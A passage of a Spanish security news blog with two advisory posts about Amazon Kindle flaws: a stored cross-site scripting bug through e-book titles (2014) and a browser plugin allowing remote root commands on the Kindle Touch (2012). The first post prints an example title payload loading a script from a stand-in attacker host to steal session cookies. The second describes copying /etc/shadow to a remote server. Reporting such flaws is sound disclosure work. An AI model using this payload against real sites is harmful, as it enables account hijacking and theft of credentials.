Mostrando entradas con la etiqueta Kindle. Mostrar todas las entradas
Mostrando entradas con la etiqueta Kindle. Mostrar todas las entradas

martes, 16 de septiembre de 2014

Vulnerabilidad en Kindle permite obtener detalles de la cuenta de usuario

Se ha anunciado una vulnerabilidad en el software del Kindle de Amazon que podría permitir a un atacante acceder a todos los detalles de una cuenta de Amazon.

El problema reside en un cross-site scripting almacenado, la más peligrosa de todas las formas de este tipo de ataques, en la librería Kindle de Amazon, en las páginas conocidas como "Manage Your Content and Devices" y "Manage your Kindle". El fallo se produce al descargar un libro electrónico desde un sitio que no sea la propia web de Amazon, y podría permitir inyectar código malicioso a través de los metadatos del libro (por ejemplo el título).

El atacante podrá crear un libro con un título como
<script src="https://www.atacante.org/script.js"></script>
Una vez que la víctima descargue el libro y lo tenga añadido a su librería, el código se ejecutara en el momento en que la víctima abra la página web de la librería del Kindle. Como resultado, el atacante podrá acceder y transferir las cookies de sesión de Amazón, por lo que la cuenta quedará comprometida. Existe disponible una prueba de concepto del problema.

Lo más sorprendente es que según Benjamin Daniel Mussler, investigador que ha dado a conocer el problema, reportó el problema a Amazon en noviembre de 2013 y fue corregido poco después. Sin embargo confirma que, hace dos meses, al publicar una nueva versión de la aplicación web "Manage your Kindle" se ha reintroducido la vulnerabilidad. Según confirma no ha obtenido respuesta a ninguna de sus comunicaciones.

Más información:

Amazon.com Stored XSS via Book Metadata



Antonio Ropero
Twitter: @aropero


lunes, 16 de julio de 2012

Ejecución de código en Amazon Kindle Touch con solo visitar una web


Se ha descubierto una vulnerabilidad en el navegador web del lector de libros electrónicos Kindle en su versión Touch, que permite la ejecución de código arbitrario con privilegios de root. Aunque está siendo aprovechada con la finalidad de liberar el dispositivo, esta vulnerabilidad también deja la puerta abierta a la toma de control sobre este y al robo de credenciales.

Aunque su uso es esencialmente la lectura de e-books, desde la tercera generación (actualmente va por la cuarta) de Kindle, los dispositivos están dotados entre otras funcionalidades de un navegador que permite la navegación por Internet a través de conexión WiFi, no así a través de 3G.

En la versión 5.1.0 del firmware de este dispositivo se introdujo la arquitectura para plugins NPAPI a través de la librería /usr/lib/libkindleplugin.so. Esta da la posibilidad que incluir plugins en el motor WebKit del navegador.

Un usuario de mobileread.com bajo el nick de eureka descubrió que, a través de una llamada a la función lipc-set-prop de esta librería incrustada en un sitio web se podía ejecutar comandos de shell con permisos de root de forma remota. Un atacante que diseñara una página web maliciosa y convenciera a un usuario para que accediera a ella podría tomar el control del dispositivo.

El sitio alemán dedicado a la seguridad Heise Security ha publicado una demostración de la posible explotación de esta vulnerabilidad. En esta, visitan un sitio web diseñado especialmente para mandar el comando shutdown-r now al dispositivo, forzando su reinicio. Aseguran también haber conseguido acceder al contenido del directorio /etc/shadow/, donde se guarda el hash de la contraseña de root, y haberlo copiado a un servidor remoto para posteriormente descifrarlo.


Esta vulnerabilidad se está aprovechando de forma activa. Existen sitios web que ofrecen la liberación del dispositivo simplemente visitando un enlace. Aún no hay indicios de que se esté utilizando la vulnerabilidad para otros usos fraudulentos, pero en teoría podría permitir desde el robo de credenciales de la cuenta de Amazon asociada al dispositivo, hasta la compra de contenidos bajo cuentas ajenas... pasando por la unión del dispositivo a una botnet.

El propio eureka recomienda la desactivación de la librería libkindleplugin.so a través de la ejecución del siguiente comando por sesión SSH:

mntroot rw && mv /usr/lib/browser/plugins/libkindleplugin.so /usr/lib/browser/plugins/libkindleplugin.so.disabled && mntroot ro && killall wafapp

Parece ser que el resto de dispositivos Kindle no están afectados por la vulnerabilidad. Por otra parte, esta ya ha sido corregida en la versión 5.1.1 del firmware para Kindle Touch.

Más información:

[Kindle Touch] Scriptable browser plugin included in 5.1.0 [Inglés]

Sicherheitslücke und Jailbreak bei Amazon Kindle Touch [Alemán]

Jailbreak for KT 5.1.0 [Inglés]


Francisco López